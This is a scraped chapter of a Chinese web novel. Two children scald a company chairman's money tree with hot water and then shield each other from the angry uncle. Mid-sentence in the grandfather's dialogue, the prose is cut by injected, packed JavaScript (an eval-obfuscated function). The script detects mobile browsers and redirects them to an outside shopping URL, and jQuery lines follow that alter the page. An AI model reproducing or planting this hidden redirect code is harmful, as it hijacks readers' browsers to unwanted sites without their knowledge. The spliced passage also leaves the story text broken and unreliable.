11. 太银翼噜
作品:《和反派亲爸认亲后,成了豪门团宠》 第11章
叶翊宁离得很近,自然没有错过秦樾的行云流水般的动作。
看得他眼睛都睁得圆溜溜的。
叶翊宁是真的没想到,都这么紧急的关头了,秦樾竟然还不忘他们的任务,直接半桶水送发财树归西啦!
刚刚他们费劲巴拉浇了半天热水,都是对着发财树的根猛灌。
发财树表面看起来没有怎么受外伤,但肯定受了很严重的内伤。
现在秦樾这半桶热水浇下去,发财树就是内外都严重受伤啦。
之前还轻微冒着热气的发财树,现在整棵树简直就是热气升腾、热气萦绕!
绿油油的树叶蜷缩起来,原本精神百倍的树瞬间就变得蔫搭搭了。
看着有点微死啦。
叶翊宁没忍住看了眼秦樾,瞬间对上了秦樾亮晶晶的眼眸,仿佛在问:“怎么样?”
叶翊宁赶紧朝秦樾竖起了大拇指。
太棒啦!
秦樾眼睛顿时更亮了,他不过就做了这么点小事,竟然就被太子殿下表扬了!
秦樾很是高兴,完全沉浸在了自己的情绪里。
自然也就忽略了白祈年那道尖锐的爆鸣声。
而叶翊宁此时是真的有些激动。
秦樾这个人简直太银翼噜!
这次的行动要不是秦樾帮忙,估计就要铩羽而归啦。
蒸蚌!太棒啦!
他在心里宣布,从今天开始,秦樾就是他最好的朋友!
都没有把秦樾当做麾下,直接归入朋友啦!
在一个准太子心里,第一想法竟然都不是把秦樾当做幕僚麾下。
足以看出秦樾此举后,地位在叶翊宁心中节节攀升。
所以叶翊宁怎么可能眼睁睁看着秦樾被冤枉?
眼瞅着白祈年凶神恶煞地走近,叶翊宁想也没想,直接挡在了秦樾面前。
不等白祈年开口问责,叶翊宁就大声喊道:“这一切都是我做的,跟他无关!”
秦樾原本还沉浸在太子殿下夸他的喜悦中。
骤然听到叶翊宁这句话,他瞬间反应过来,直接拉住了叶翊宁的胳膊,将他护在了自己身后。
扬着小脸,红肿的眼睛直勾勾看着自家怒气正盛的舅舅,小嘴巴说出来的话气死个人:“跟他无关,你有什么事情就冲着我来就行!”
秦樾抿着唇,小脸上写满了倔强。
叶翊宁没料到秦樾竟然也这么有担当。
但他怎么能让秦樾替自己背锅?
这分明就是他的主意,秦樾顶多算是帮凶,他才是主犯呀。
于是叶翊宁再次走出来,站在白祈年面前伸出双臂,将他牢牢护在身后:“你不要怪小樾,这件事……这件事我才是主谋,他是听了我的话才这么做哒,跟他没有关系哒!”
叶翊宁的背影并不高大,可秦樾就是从他小小的背影上,瞧出了几分太子殿下坚毅决绝的铮铮风骨。
秦樾原本就像小兔子一样的眼眶,瞬间又红了个彻底。
太子殿下……呜呜呜。
他的殿下!
秦樾眼泪不受控制,继续吧嗒吧嗒往下掉。
白祈年:“……”
白祈年简直要被自己的好大侄气死了!
他的发财树都当着他的面冒烟儿了。
他过来不过是想阻止一下这两个臭小子,及时止损,说不定还能把自己的发财树给抢救回来。
结果秦樾这臭小子倒好,他那声阻止成了催化剂,还加快了他干坏事的速度!
现在好了。
发财树整棵树都蔫搭搭,活树微死了。
可更好笑的是,白祈年都还没有朝他们发难。
这一个两个的反倒在他面前维护起了对方。
甚至秦樾这个爱哭鬼又一次红了眼眶开始哭。
好像自己才是那个十恶不赦欺负小孩的坏蛋。
白祈年心很累。
他站在原地,深深呼出了一口气,狠狠平复了一下自己的心情,才蹲下身,直视着自己跟前的叶翊宁。
小孩生得很是可爱,脸蛋圆润,皮肤白皙。
白祈年突然蹲下身来把他吓了一跳,乌黑长密的睫翼颤了颤,但他却始终站在秦樾身前,半步都没有退。
胆儿还挺大。
白祈年眼里闪过一抹笑。
面前的小孩能出现在董事长总裁办公室的楼层,肯定不是自己上来的,应该是哪位合作伙伴带上来的。
但这小孩未免有点太自来熟了点。
距离秦樾从白祈年的视野里消失,也不过才过了短短十几分钟。
秦樾这个爱哭鬼竟然就和他打成一片了,竟然还会袒护他,主动揽下所有的责任。
刚刚如果他没看错的话,秦樾似乎还对着他笑了?
白祈年感到了一丝惊奇。
看来这个小崽子和秦樾挺投缘的啊。
但不知为何,他就是觉得面前这张缩小的脸蛋,自己似乎在哪里见过。
“你是谁家的孩子?”白祈年终于开口。
可话音才刚落下,不等叶翊宁回答,秦樾小小的身影就撞了过来。
白祈年一时不察,鼻梁狠狠亲吻在了他的手肘上,痛得他惊呼一声,直接坐在了地上。
秦樾再也不想看到太子殿下挡在自己身前啦。
他说什么都要护着太子殿下!
“舅舅,你有什么冲着我来,你不准欺负……宁宁,不就是一棵树吗?大不了我把我的压岁钱全部给你!”
一滴眼泪还挂在秦樾的眼眶要掉不掉的,但维护叶翊宁的决心却异常坚定。
只是白祈年此时哪有心情去在意什么钱不钱的?
他鼻子差点要被他亲侄子给撞飞了!
与此同时,对面办公室的三人总算是被这动静吸引了注意力。
谢青山看了眼:“是祈年啊,他怎么了?”
白浩压根就没有注意到外面的情况,要不是谢青山突然停下来,他还准备接着聊呢。
张助理推了推自己鼻梁上的眼镜,冷静地把自己刚刚偷听偷看的快速描述了一遍:“小少爷和秦家小公子一起给发财树浇水,白总来阻止,但是被秦小公子不小心打到了鼻梁。”
谢青山笑了一下。
不以为意。
甚至还打心里觉得自家宝贝真聪明,竟然还知道帮忙给植物浇水,随口对白浩说:“行了行了,不管俩个小孩了,我们接着聊。”
白浩正准备点头。
就听张助理补充:“浇的热水。”
冒烟儿呢。
他看到了。
“什么?!”谢青山蹭地一下站起身。
白浩还有点懵,又问了一句:“什么热水?”
张助理说:“两位小少爷在玩热水。”
白浩瞬间从沙发上弹射起步:“什么?!热水那么危险!”
两人几乎是一前一后出了办公室。
谢青山目的明确,一把将地上的叶翊宁给抱了起来:“宁宁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211326|197410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你没事吧?”
白浩紧随其后,捞起秦樾,拉着他的手左看右看:“没烫到哪儿吧?”
白祈年还坐在地上,仰头看着自己面前的四人。
他没好气道:“他们能有什么事?有事的是我!是我的发财树!”
谢青山和白浩仔仔细细把自己怀里的孩子检查了一遍,确定他们的孙子/外孙没有受伤,两人才同时松了口气。
白浩满不在乎:“不就是一棵树吗?一点热水还能给你浇死了?”
白祈年:“呵呵。”
谢青山已经先一步看了眼身后蔫嗒嗒看着随时都要厥过去的树,他表情微变,清了清嗓子:“小白啊,这事是我们宁宁的错……”
“宁宁没有错!”
谢青山一句话道歉的话还没说完,秦樾就着急打断。
谢青山和叶翊宁同时看向秦樾。
秦樾睁着自己那双红彤彤的眼睛:“我都说啦,都是我的错,我用全部压岁钱给舅舅再买一棵树就好啦!”
白浩当即不赞成看着白祈年:“不就是一颗发财树吗?你用得着那么小气?还要小樾赔给你?”
白祈年:“……”
不是。
他说话了吗?
“我哪句话说了要赔了?”白祈年忍不住为自己喊冤,“我过来后,全程就只说了一句话,问了一下这个臭小子口中的宁宁是谁家的小孩……”
白祈年长叹了一口气:“算了,我懒得跟你说了,”白祈年不再看秦樾,扭头去看谢青山怀里的叶翊宁,怀疑开口,“谢叔,这孩子不会是……”
谢青山笑着点头:“是的,他是我亲孙子,是九尧的亲儿子。”
白祈年震惊。
谢九尧一个死GAY,他哪儿来的儿子?
但面前这个小孩,这眼睛鼻子,不就是跟谢九尧一个模子刻出来的吗?
白祈年仔细打量着叶翊宁,表情略有些古怪。
谢青山是真的有些不好意思。
叶翊宁嚯嚯什么植物不好,竟然去嚯嚯白祈年的发财树。
但自家大孙子都干完坏事了。
谢青山肯定是无脑维护的。
于是他清了清嗓子对白祈年道:“今天这事是我们家宁宁不对,小白,你放心,我肯定会……”
秦樾张了张嘴,又想开口。
白祈年头疼,赶紧打断施法:“不用不用,不就是一棵树吗?谢叔,你看着我长大的,还能不知道我?我怎么可能真的因为一棵树生气?”
白浩也说:“一棵树而已,老白,你想那么多干嘛?好了好了,既然咱们俩的孙儿都没事,我们接着去谈正事吧。”
谢青山本来就没当回事,但想着自家宝贝孙子干坏事,总得道声歉。
但听到白浩都这么说了,他也就没当回事了。
两个公司的老董,各自怀里抱着自家的宝贝孙子一起回了办公室,顺便把白祈年一个人关在了门外。
秦樾见危机总算解除,擦了擦自己脸上还没干的泪花,扬起笑脸就去看叶翊宁。
这件事他处理得这么好,太子殿下肯定会接着夸自己……吧?
然后他就感觉自己额头上贴上了叶翊宁的额头,叶翊宁圆溜溜的眼睛在面前放大,小猫顶头瞪眼jpg.
叶翊宁声音软软糯糯,里面却又带着一丝明显森寒:“你不是说,你不认识他们嘛?”
秦樾一双兔子眼瞬间瞪得老大。
糟糕!
一不小心暴露身份啦。

